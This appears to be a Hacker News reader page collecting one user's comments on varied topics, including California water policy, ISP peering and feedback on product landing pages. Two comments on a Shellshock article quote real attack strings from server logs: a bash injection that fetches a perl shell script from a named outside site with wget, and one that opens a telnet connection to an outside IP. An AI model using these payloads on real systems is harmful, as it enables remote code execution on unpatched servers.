Hacker News Reader

ktsmithon Reddit CEO Calls Out Former Reddit Employee on Reddit

It's really not. It's business and this is potentially very bad for the business. Rather than an ex employees AMA being discussed the discussion has turned roundly onto the response of the CEO. Rather than talking about the $50 million in investment or what they plan to do with it everyone is busy talking about Yishan and his response to this thread, how he mishandled the relocation mandate to their employees and other things he's mishandled recently. Honestly if I were an investor in Reddit I'd be concerned about who's steering the ship.

ktsmithon Tony Hsieh Steps Down from Lead Role at Las Vegas Downtown Project

California gets ~10% of their water from the Colorado River System. They'll be getting less as more states use their full allocation and the surplus that California has been getting dries up. There is ongoing battling about distributing the water more fairly but that only delays the issues that Las Vegas faces with current population growth. The city has done quite a bit to provide incentive to residents to conserve water with things like tax credits for xeriscaping their properties instead of having lawns. They'll have to do quite a bit more to either curb the growth or find other sources of water.

As far as the distribution of the Colorado River Systems water goes, that's a mess that dates back to 1922.

ktsmithon Everything you need to know about the Shellshock Bash bug

Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:

Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22

That site is still up and serving right now if anyone wants to take a look.

ktsmithon Everything you need to know about the Shellshock Bash bug

Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up.

() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq

ktsmithon Show HN: Interactive Website I did

I also had no idea how to play initially because my mouse was over the game area and so the how to play instructions disappeared before I could read them.

ktsmithon Secret Network Connects Harvard Money to Payday Loans

Sure, after years of essentially no regulation and Google paying a massive fine.

ktsmithon Intel Unleashes Its First 8-Core Desktop Processor

It's still the same crew with the same attachment to Penny Arcade.

ktsmithon Mozilla Unveils $33 Intex Cloud FX Smartphone

Android Open Source Project

ktsmithon Epic Drought in West Is Literally Moving Mountains

http://clui.org/ludb/site/crystal-geyser-olancha-plant

The Olancha Crystal Geyser bottling plant is on Highway 395 right next to the dry bed of Owens Lake. The Owens River used to run into Owens Lake but the water was diverted for the Los Angeles Aqueduct and now it's an Alkali dust bowl. Every time I drive past the facility (usually twice a year) I'm reminded about how much of a mess Californias water policy has been since at least 1905 when the projects were first started. In 1930 LA started a project to siphon water away from the Mono Basin and that's had a very detrimental effect on the area including Mono Lake as well. You can see some changes in the area since courts have ruled that not as much water can be taken, from Mono at least, but the drought has made it look pretty insignificant.

I don't know which states are supplied bottled water from that facility but at the very least it's bottled and trucked into LA, and for some residents it's essentially the same water they are getting from their tap.

ktsmithon Ask HN: Object you'd like to see connected to the internet?

I'd take that a step further and put a sensor on every outlet so it would be like a built in kill a watt that you could look at from a household level, circuit level, and then socket level. You could monitor and alert on things that are suddenly using more or less power and also determine where you are losing the most energy to unused or seldom used devices that are always on.

ktsmithon State Incentives Bringing SpaceX Commercial Launch Facility to Texas

I wasn't aware that work had resumed. It was just a few days ago that kolo reported the layoffs and shut down and I don't catch that very often. It'll be interesting to see if it's the plant or something else.

ktsmithon State Incentives Bringing SpaceX Commercial Launch Facility to Texas

In the last five days while I happened to catch the news on tv (I rarely watch it) they were reporting the workers had been laid off and work had been stopped. toomuchtodo above states that they are behind and trying to get caught back up so perhaps it was just temporary.

ktsmithon State Incentives Bringing SpaceX Commercial Launch Facility to Texas

it's looking more and more like Reno is the location of the battery plant. The governor and Musk have both made statements recently about it and Tesla had something like 300 people working on something here. Work is currently stopped though so maybe the site isn't suitable or the state has done something stupid again.

ktsmithon Show HN: A beautiful, elegant and simple task manager

I'm looking at it on a macbook pro 17". I can't see what's happening in the video because the recorded area is too big and the video plays by default too small. This isn't a mobile issue, and on desktop when going fullscreen the video is blurry.

For me there won't be a "future" release because the landing page itself (the looks of the app) turned me off. The color scheme is garish, at best.

I'm not trying to be rude just give very honest feedback.

ktsmithon Show HN: A beautiful, elegant and simple task manager

Couple of quick comments on the landing page.

  * The content in the video is too small to see what's going on without going full screen and then it's blurry
  * The color choices need to be redone

The grey text on grey background in the sidebar and the calendar are nearly impossible for me to read and I don't have an issue with color blindness or anything. There's just not enough contrast and the typeface is very thin/fine.

The red text on the sidebar is glaring and also hard to read. The red chosen is also used in the calendar and makes it difficult to read the date or anything else that might be in the calendar square.

I couldn't get past this to give it a longer look it was just too off putting.

ktsmithon Software Pipelining on the Mill CPU [video]

Thanks for that differentiator, Transmeta kept popping into my thoughts every time I would read about Mill as well.

ktsmithon Underscore.go

It doesn't appear that it is complete when compared to the listed functionality on the site.

ktsmithon Verizon's accidental mea culpa

Thanks for catching that error, as I typed out asynchronous I was saying to myself "this isn't right, the a is in the dang acronym" and then I was too lazy to double check.

ktsmithon Verizon's accidental mea culpa

That wouldn't work though. Verizon sells unbalanced services with larger download capacity than upload capacity. So it's simply not likely/possible that their customers can send matching data for what they are requesting. Additionally, while this might not negatively affect their FIOS customers their DSL customers are on asynchronous connections meaning that the uploaded data will negatively impact their ability to receive data at the same time in effect degrading their ability to stream and the quality of the video they can receive.

ktsmithon Verizon's accidental mea culpa

I'd say that wmf addressed it already. Peering points with one side being primarily consumer services are always going to be unequal due to the nature of the end user and the ways in which consumer ISPs provide bandwidth to their customers. Lots of download, and very little upload speed as an example. As such it's nearly impossible for many peering points primarily used by consumer services to use an equal amount of traffic on both directions. Both sides of the agreement know this and it's still usually in both of their best interests to peer settlement free.

ktsmithon Verizon's accidental mea culpa

Oversubscribing lines has been one of the ways to keep ISPs profitable for years. Streaming video absolutely cuts into the ability to do this of course but I doubt it's the primary issue here. Verizon has every incentive to not add more bandwidth to their peering points with Level 3 and try to get more money from Netflix directly.

ktsmithon Verizon's accidental mea culpa

Verizon probably doesn't need to pay Level 3 for the bandwidth. Typically peering points like this are settlement free. In other words it's a voluntary exchange of traffic and each side of the line keeps 100% of the revenue from its customers using the interchange.

ktsmithon A Casino Town Rolls the Dice on High-Tech

Apple and MS actually shield a ton of their money by having offices in Reno. Microsoft Licensing is on Neil Rd in Reno with Intuit just down the street. Tons of companies have shell corps in Nevada for tax reasons.

ktsmithon The Problems with Fulfillment by Amazon

I used to do the same thing and filter search results by prime for the shipping benefits. However since they've started using UPS Sure Post with hand off to the USPS I've been having nothing but trouble getting my packages. I'm just about done with Amazon Prime due to it.

ktsmithon Introducing Canvas – a new way to build emails

I agree they look that way until you start looking at the accounts posting them. That being said a lot of people send newsletters, and a lot of people use MailChimp (we do). MailChimp has been releasing a lot of UI changes lately, including a new editor that tries to accomplish what is shown in the Canvas video, albeit not very well.

ktsmithon Freeing yourself from Facebook's new web trackers

I'm using Disconnect since Ghostery sells data to advertisers.

ktsmithon YouTube's Biggest Draw Plays Games, Earns $4 Million a Year

My son and all of his friends, ages 5-7, all love evantubehd and stampylonghead and I just don't get it. The weirder part for me is then they pretend they are making youtube shows when they are playing.

ktsmithon The day I left my son in the car

Audi started making this an option in 2008 (2007?) on their A8 line and was followed by Fisker and Toyota on the Prius. i don't think any of them have it as an option any more. It's just not effective enough.

ktsmithon I just spoke to 80 first graders about programming for career day.

Being around 7-8 year olds pretty frequently, and having a 5 year old myself, I would have been surprised if they didn't recognize it and get excited.

ktsmithon Getting to work on diversity at Google

> That's 30,580 blacks and hispanics[1].

For all degrees qualifying as science and engineering. If only 5% of those are in computer science that's only 1,529 people. There are a lot of companies vying for those 1,529 people. Let's also not forget that not all of those 1,529 graduates will actually be capable of qualifying for a job at Google further reducing the quantity.

I'm not surprised at all by Google's numbers having actually seen their hiring process from the HR side as well as that of dozens of other companies in technology and other industries.